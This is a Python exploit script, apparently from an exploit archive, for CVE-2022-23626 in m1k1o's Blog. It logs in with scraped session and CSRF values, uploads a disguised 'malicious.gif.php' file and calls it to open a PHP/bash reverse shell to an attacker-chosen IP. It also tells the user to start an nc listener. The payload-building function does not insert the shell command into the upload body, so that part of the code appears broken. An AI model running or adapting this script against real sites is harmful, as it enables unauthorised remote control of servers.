# Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-01-06 # Exploit Author: Malte V # Vendor Homepage: https://github.com/m1k1o/blog # Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip # Version: 1.3 and below # Tested on: Linux # CVE : CVE-2022-23626 import argparse import json import re from base64 import b64encode import requests as req from bs4 import BeautifulSoup parser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog') parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False) parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost', required=False) parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081, required=False) parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999, required=False) parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False) parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False) args = vars(parser.parse_args()) username = args['username'] password = args['password'] lhost_ip = args['ip'] lhost_port = args['lport'] address = args['url'] port = args['port'] url = f"http://{address}:{port}" blog_cookie = "" csrf_token = "" exploit_file_name = "" header = { "Host": f"{address}", "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "X-Requested-With": "XMLHttpRequest", "Csrf-Token": f"{csrf_token}", "Cookie": f"PHPSESSID={blog_cookie}" } def get_cookie(complete_url): global blog_cookie cookie_header = {} if not blog_cookie: cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}" result = req.get(url=complete_url, headers=cookie_header) if result.status_code == 200: blog_cookie = result.cookies.get_dict()['PHPSESSID'] print(f'[+] Found PHPSESSID: {blog_cookie}') grep_csrf(result) def grep_csrf(result): global csrf_token csrf_regex = r"[a-f0-9]{10}" soup = BeautifulSoup(result.text, 'html.parser') script_tag = str(soup.findAll('script')[1].contents[0]) csrf_token = re.search(csrf_regex, script_tag).group(0) print(f'[+] Found CSRF-Token: {csrf_token}') def login(username, password): get_cookie(url) login_url = f"{url}/ajax.php" login_data = f"action=login&nick={username}&pass={password}" login_header = { "Host": f"{address}", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "X-Requested-With": "XMLHttpRequest", "Csrf-Token": f"{csrf_token}", "Cookie": f"PHPSESSID={blog_cookie}" } result = req.post(url=login_url, headers=login_header, data=login_data) soup = BeautifulSoup(result.text, 'html.parser') login_content = json.loads(soup.text) if login_content.get('logged_in'): print('[*] Successful login') else: print('[!] Bad login') def set_cookie(result): global blog_cookie blog_cookie = result.cookies.get_dict()['PHPSESSID'] def generate_payload(command): return f""" -----------------------------13148889121752486353560141292 Content-Disposition: form-data; name="file"; filename="malicious.gif.php" Content-Type: application/x-httpd-php GIF; -----------------------------13148889121752486353560141292-- """ def send_payload(): payload_header = { "Host": f"{address}", "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "X-Requested-With": "XMLHttpRequest", "Csrf-Token": f"{csrf_token}", "Cookie": f"PHPSESSID={blog_cookie}" } upload_url = f"http://{address}:{port}/ajax.php?action=upload_image" command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'" payload = generate_payload(command) print(f"[+] Upload exploit") result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"}) set_exploit_file_name(result.content.decode('ascii')) def set_exploit_file_name(data): global exploit_file_name file_regex = r"[a-zA-Z0-9]{4,5}.php" exploit_file_name = re.search(file_regex, data).group(0) def call_malicious_php(file_name): global header complete_url = f"{url}/data/i/{file_name}" print('[*] Calling reverse shell') result = req.get(url=complete_url) def check_reverse_shell(): yes = {'yes', 'y', 'ye', ''} no = {'no', 'n'} choice = input("Have you got an active netcat listener (y/Y or n/N): ") if choice in yes: return True elif choice in no: print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"") return False def main(): enabled_listener = check_reverse_shell() if enabled_listener: login(username, password) send_payload() call_malicious_php(exploit_file_name) if __name__ == "__main__": main()